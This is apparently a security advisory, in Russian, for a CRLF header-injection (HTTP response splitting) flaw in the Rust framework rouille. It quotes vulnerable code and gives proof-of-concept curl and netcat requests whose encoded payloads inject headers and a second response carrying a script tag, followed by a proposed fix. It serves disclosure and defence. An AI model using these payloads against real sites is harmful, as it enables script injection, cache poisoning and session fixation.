
Уведомление о безопасности: расщепление HTTP-ответа через непроверенные значения заголовков ответа (rouille)
Присвоенный CVE ID: CVE-2026-66746
rouille записывает значения заголовков ответа клиенту, не проверяя их на наличие возврата каретки или перевода строки. Поэтому приложение, помещающее текст, на который влияет атакующий, в значение заголовка, отправляет по сети дополнительные заголовки или целый второй HTTP-ответ.
Два свойства rouille делают это достижимым в обычном коде. Request::get_param
декодирует процентные escape-последовательности, поэтому %0d%0a в строке
запроса становится настоящим CRLF. А session::session копирует значение
Cookie клиента в Set-Cookie без какой-либо проверки.
Каждый другой широко используемый Rust HTTP-стек отвергает это на уровне типов:
http::HeaderValue::from_str возвращает InvalidHeaderValue для CR и LF, поэтому
hyper, axum, actix-web и warp не подвержены этой проблеме.
URL репозитория: https://github.com/tomaka/rouille
| Первая затронутая версия | 0.4.0 (2016-12-14) для указанного ниже пути формирования ответа |
| Последняя затронутая версия | 3.6.2 (2023-04-24), текущий выпуск |
| Исправлено в | на момент написания исправленной версии нет |
Версии до 0.4.0 формируют ответы через другой путь кода, который не проверялся,
поэтому мы не утверждаем ни об одном из вариантов. Отражение session::session,
описанное в разделе «Путь B», существует начиная с версии 0.3.2 (2016-12-02).
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), частный случай CWE-93 (CRLF Injection).
Базовый балл CVSS 4.0: 5.3 (Средний)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Путь A требует удалённого неаутентифицированного атакующего и жертву, которая
переходит по ссылке, предоставленной атакующим. Атакующему нужно, чтобы
приложение помещало любую строку, полученную из запроса, в заголовок ответа.
Обычный случай — перенаправление на параметр запроса next или return_to.
Путь B требует только, чтобы приложение вызывало session::session и читало
идентификатор сессии. Атакующий управляет собственным заголовком Cookie,
поэтому сам по себе этот сценарий — атака на самого себя. Он становится атакой
на других, когда общий кэш сохраняет разделённый ответ или когда он
комбинируется с другим способом установки cookie в браузере жертвы.
В rouille/src/lib.rs, строки 624–640, значения передаются напрямую:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes проверяет только то, что байты являются ASCII, а CR и LF
являются ASCII. tiny_http-0.12.0/src/common.rs, строки 166–172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
Затем значение записывается без экранирования.
tiny_http-0.12.0/src/response.rs, строки 99–104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param декодирует процентные escape-последовательности, поэтому
вызывающий код получает настоящие управляющие символы. rouille/src/lib.rs,
строки 928–932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs берёт ключ из cookie клиента в строке 59 и подставляет
его в заголовок ответа в строках 75–81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Шаг 1. Запустите сервер, который перенаправляет на параметр запроса.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Шаг 2. Выполните запрос с %0d%0a в параметре.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Результат. X-Injected приходит как отдельный заголовок:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Шаг 3. Расширьте полезную нагрузку за конец заголовков, чтобы сформировать целый второй ответ.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Результат. Один запрос, два полных ответа. Второй содержит выбранные атакующим строку статуса, тип содержимого и тело:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Шаг 1. Запустите сервер, использующий документированную идиому работы с сессиями.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Шаг 2. Отправьте cookie, значение которого содержит одинокий LF. \n ниже —
это один перевод строки, \r\n — CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Результат. Значение вырывается из Set-Cookie на собственную строку:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
У пути B есть три ограничения, о которых стоит упомянуть. Проходит только
одинокий LF, потому что CRLF завершил бы строку заголовка в tiny_http, поэтому
клиент или кэш должен трактовать одиночный LF как разделитель. Всё, что находится
после точки внедрения, по-прежнему несёт суффикс ; Max-Age=3600; Path=/; HttpOnly
из того же format!, так что примитив представляет собой заголовок с
фиксированным завершающим текстом, а не чистый произвольный заголовок. Кроме того,
атакующий контролирует только свою собственную cookie. У пути A этих ограничений
нет.
Выполнение скриптов в контексте безопасности источника, отравление кэша, когда
общий кэш сохраняет внедрённый ответ для URL жертвы, фиксация сессии через
внедрённый Set-Cookie, а также переопределение заголовков безопасности, таких
как CSP или CORS. Поскольку путь A создаёт настоящий CRLF, каждый клиент и кэш
разделяют по нему ответ.
Проверяйте значения заголовков в Server::process перед передачей их в
tiny_http, в rouille/src/lib.rs около строки 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Возвращайте 500 для всего ответа, а не отбрасывайте проблемный заголовок, чтобы сбой был видимым, а не молча менял ответ.
Также проверяйте ключ сессии в session::session: отклоняйте значение cookie,
не соответствующее [A-Za-z0-9]+, и вместо этого генерируйте новый
идентификатор. Проверка в Response::with_additional_header,
with_unique_header и конструкторах redirect_* выявляла бы ошибку в месте
вызова, где автор приложения может на неё отреагировать.